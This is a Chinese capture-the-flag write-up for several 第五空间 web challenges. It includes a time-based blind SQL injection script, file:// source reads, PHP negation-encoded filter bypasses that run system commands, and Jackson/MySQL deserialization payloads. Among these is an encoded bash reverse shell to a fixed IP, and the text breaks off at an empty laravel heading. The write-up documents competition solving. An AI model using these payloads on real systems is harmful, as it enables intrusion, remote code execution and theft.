第五空间web题目题解
0x01 美团外卖 www.zip源码泄露,审计源码,在daochu.php中存在sql注入,
可以看到没有任何过滤,该页面不用登录也可以访问这个界面,而且也有回显。由于不知道sms和content表的列数,开始测试没有成功。
采用时间盲注,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 import requestsimport timeurl="http://119.3.183.154/daochu.php?" proxies = { "http" : "http://127.0.0.1:8080" , } flag="" for i in range(1 ,50 ): high = 127 low = 32 mid = (low + high) // 2 while high > low: payload="type=2&imei=\" and if((ascii(mid((select group_concat(table_NAME) from information_schema.tableS where table_schema=database()),{},1))>{}),benchmark(10000000,sha(1)),0)-- -" payload="type=2&imei=\" and if((ascii(mid((select group_concat(column_NAME) from information_schema.columnS where table_schema=database() and table_name='admin'),{},1))>{}),benchmark(10000000,sha(1)),0)-- -" payload="type=2&imei=\" and if((ascii(mid((select upass admin where id >0 ),{},1))>{}),benchmark(10000000,sha(1)),0)-- -" url_1=url+payload.format(i,mid) print url_1 s_time=time.time() r=requests.get(url_1,proxies=proxies) e_time=time.time() if e_time-s_time>1 : low=mid+1 else : high=mid mid=(low+high)//2 flag+=chr(mid) print(flag)
可以得到hint表中的hints为 see_the_dir_956c110ef9decdd920249f5fed9e4427
然后访问/956c110ef9decdd920249f5fed9e4427,得到的还是登录的界面
admin表中
uname: admin
upass: qweasdzxc
好像没有id字段
但是登录失败,看登录的代码逻辑
按代码中的来看,数据库中的upass应该为MD5字符串,这里就应该登不进去了。
然后继续审计代码,在lib/webuploader/0.1.5/server/preview.php看到了写文件的操作,代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 <?php $DIR = 'preview' ; if (!file_exists($DIR)) { @mkdir($DIR); } $cleanupTargetDir = true ; $maxFileAge = 5 * 3600 ; if ($cleanupTargetDir) { if (!is_dir($DIR) || !$dir = opendir($DIR)) { die ('{"jsonrpc" : "2.0", "error" : {"code": 100, "message": "Failed to open temp directory."}, "id" : "id"}' ); } while (($file = readdir($dir)) !== false ) { $tmpfilePath = $DIR . DIRECTORY_SEPARATOR . $file; if (@filemtime($tmpfilePath) < time() - $maxFileAge) { @unlink($tmpfilePath); } } closedir($dir); } $src = file_get_contents('php://input' ); if (preg_match("#^data:image/(\w+);base64,(.*)$#" , $src, $matches)) { $previewUrl = sprintf( "%s://%s%s" , isset ($_SERVER['HTTPS' ]) && $_SERVER['HTTPS' ] != 'off' ? 'https' : 'http' , $_SERVER['HTTP_HOST' ], $_SERVER['REQUEST_URI' ] ); $previewUrl = str_replace("preview.php" , "" , $previewUrl); $base64 = $matches[2 ]; $type = $matches[1 ]; if ($type === 'jpeg' ||$type==='php' ) { die ("no hacker" ); } $filename = md5($base64).".$type" ; $filePath = $DIR.DIRECTORY_SEPARATOR.$filename; if (file_exists($filePath)) { die ('{"jsonrpc" : "2.0", "result" : "' .$previewUrl.'preview/' .$filename.'", "id" : "id"}' ); } else { $data = base64_decode($base64); file_put_contents($filePath, $data); die ('{"jsonrpc" : "2.0", "result" : "' .$previewUrl.'preview/' .$filename.'", "id" : "id"}' ); } } else { die ('{"jsonrpc" : "2.0", "error" : {"code": 100, "message": "un recoginized source"}}' ); }
直接访问http://119.3.183.154/lib/webuploader/0.1.5/server/preview.php是404,然后将sql注入出来的956c110ef9decdd920249f5fed9e4427接到后面,
http://119.3.183.154/956c110ef9decdd920249f5fed9e4427/lib/webuploader/0.1.5/server/preview.php
可以访问,会将php://input输入的内容写到文件中,格式为data:image/jpg;base64,dfdgassdga(类似这种)
提示说已经有木马在e98a4571cf72b798077d12d6c94629.php
然后访问,显示getfile,尝试get传file值,可以得到flag。
赛后发现可以直接利用回显注出数据。
首先确定type为2时,sms表的列数。
有八列,然后查数据,
1 /daochu.php?type=1&imei=%22%20union%20select%201,2,hints,4,5,hints%20from%20hint--%20-
0x02 do you know
从题目逻辑上来看,这题应该是用SSRF+XXE+反序列化,但是
这里用的是$_SERVER[‘QUERY_STRING’]来获取get输入的值,可以利用url编码绕过,直接利用file协议读文件,
1 2 file:///var/www/html/index.php %66%69%6c%65%3a%2f%2f%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%69%6e%64%65%78%2e%70%68%70
1 2 file:///var/www/html/xxe.php %66%69%6c%65%3a%2f%2f%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%78%78%65%2e%70%68%70
依次得到
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 hints.php <?php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 <?php class A { public $object; public $method; public $variable; function __destruct () { $o = $this ->object; $m = $this ->method; $v = $this ->variable; $o->$m(); global $$v; $answer = file_get_contents('flag.php' ); ob_end_clean(); } } class B { function read () { ob_start(); global $answer; echo $answer; } } if ($_SERVER["REMOTE_ADDR" ] !== "127.0.0.1" ){die ('show me your identify' );} if (isset ($_GET['' ])) { unserialize($_GET['' ])->CaptureTheFlag(); } else { die ('you do not pass the misc' ); }
可以知道flag在flag.php中,然后读flag.php。
0x03 hate-php 题目直接给了源码。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php error_reporting(0 ); if (!isset ($_GET['code' ])){ highlight_file(__FILE__ ); }else { $code = $_GET['code' ]; if (preg_match('/(f|l|a|g|\.|p|h|\/|;|\"|\'|\`|\||\[|\]|\_|=)/i' ,$code)) { die ('You are too good for me' ); } $blacklist = get_defined_functions()['internal' ]; foreach ($blacklist as $blackitem) { if (preg_match ('/' . $blackitem . '/im' , $code)) { die ('You deserve better' ); } } assert($code); }
用取反绕过,开始用的assert(next(getallheaders())),看网上说改UA就可以执行php代码,测试失败,可以用assert(end(getallheaders())),end直接取的是Connection,直接
1 2 3 4 5 6 7 8 (~%8F%97%8F%96%91%99%90)() phpinfo() (~%89%9E%8D%A0%9B%8A%92%8F)((~%9A%91%9B)((~%98%9A%8B%9E%93%93%97%9A%9E%9B%9A%8D%8C)())) var_dump(end(getallheaders())) (~%9A%91%9B)((~%98%9A%8B%9E%93%93%97%9A%9E%9B%9A%8D%8C)()) end(getallheaders()) (~%8C%86%8C%8B%9A%92)((~%9A%91%9B)((~%98%9A%8B%9E%93%93%97%9A%9E%9B%9A%8D%8C)())) system(end(getallheaders()))
然后
后来看到参数也可以用取反绕过。
1 2 3 4 5 6 7 8 9 <?php $a = "system" ; echo urlencode(~$a);echo "\n" ;$b = "cat /flag.php" ; echo urlencode(~$b);(~%8 C%86 %8 C%8 B%9 A%92 )(~%9 C%9 E%8 B%DF%99 %93 %9 E%98 %D1%8 F%97 %8 F)
0x04 zzm’s blog 得到pom.xml
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 <?xml version="1.0" encoding="UTF-8"?> <project xmlns ="http://maven.apache.org/POM/4.0.0" xmlns:xsi ="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation ="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd" > <modelVersion > 4.0.0</modelVersion > <groupId > ctf</groupId > <artifactId > web</artifactId > <version > 1.0-SNAPSHOT</version > <properties > <project.build.sourceEncoding > UTF-8</project.build.sourceEncoding > <project.reporing.outputEncoding > UTF-8</project.reporing.outputEncoding > <maven.compiler.source > 1.8</maven.compiler.source > <maven.compiler.target > 1.8</maven.compiler.target > </properties > <dependencies > <dependency > <groupId > com.sparkjava</groupId > <artifactId > spark-core</artifactId > <version > 2.9.0</version > </dependency > <dependency > <groupId > org.slf4j</groupId > <artifactId > slf4j-nop</artifactId > <version > 1.7.30</version > </dependency > <dependency > <groupId > commons-collections</groupId > <artifactId > commons-collections</artifactId > <version > 3.2.1</version > </dependency > <dependency > <groupId > mysql</groupId > <artifactId > mysql-connector-java</artifactId > <version > 8.0.15</version > </dependency > <dependency > <groupId > com.fasterxml.jackson.core</groupId > <artifactId > jackson-databind</artifactId > <version > 2.9.8</version > </dependency > <dependency > <groupId > com.fasterxml.jackson.core</groupId > <artifactId > jackson-core</artifactId > <version > 2.9.8</version > </dependency > <dependency > <groupId > com.fasterxml.jackson.core</groupId > <artifactId > jackson-annotations</artifactId > <version > 2.9.8</version > </dependency > </dependencies > <build > <plugins > <plugin > <groupId > org.apache.maven.plugins</groupId > <artifactId > maven-assembly-plugin</artifactId > <configuration > <archive > <manifest > <mainClass > Blog</mainClass > </manifest > </archive > <descriptorRefs > <descriptorRef > jar-with-dependencies</descriptorRef > </descriptorRefs > </configuration > <executions > <execution > <id > make-assemble</id > <phase > package</phase > <goals > <goal > single</goal > </goals > </execution > </executions > </plugin > </plugins > </build > </project >
使用了Jackson 2.9.9之前的Java应用,如果服务依赖了mysql-connector-java,那么这个服务所在机器上的文件,就可能被任意读取。
commons-collections 是3.2.1
参考https://www.jianshu.com/p/dfd6f0ac9f00
https://github.com/fnmsd/MySQL_Fake_Server
1 2 3 4 5 6 #DNSlog查看 {"id":["com.mysql.cj.jdbc.admin.MiniAdmin","jdbc:mysql://144.34.200.151:3306/test?autoDeserialize=true%20queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor%20user=yso_URLDNS_http://j5q6o0.dnslog.cn"]} java -cp ysoserial.jar ysoserial.exploit.JRMPListener 8888 CommonsCollections5 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNDQuMzQuMjAwLjE1MS84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}' #反弹shell {"id":["com.mysql.cj.jdbc.admin.MiniAdmin","jdbc:mysql://144.34.200.151:3306/test?autoDeserialize=true%26queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor%26user=yso_CommonsCollections6_bash%20-c%20{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNDQuMzQuMjAwLjE1MS84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}"]}
0x05 laravel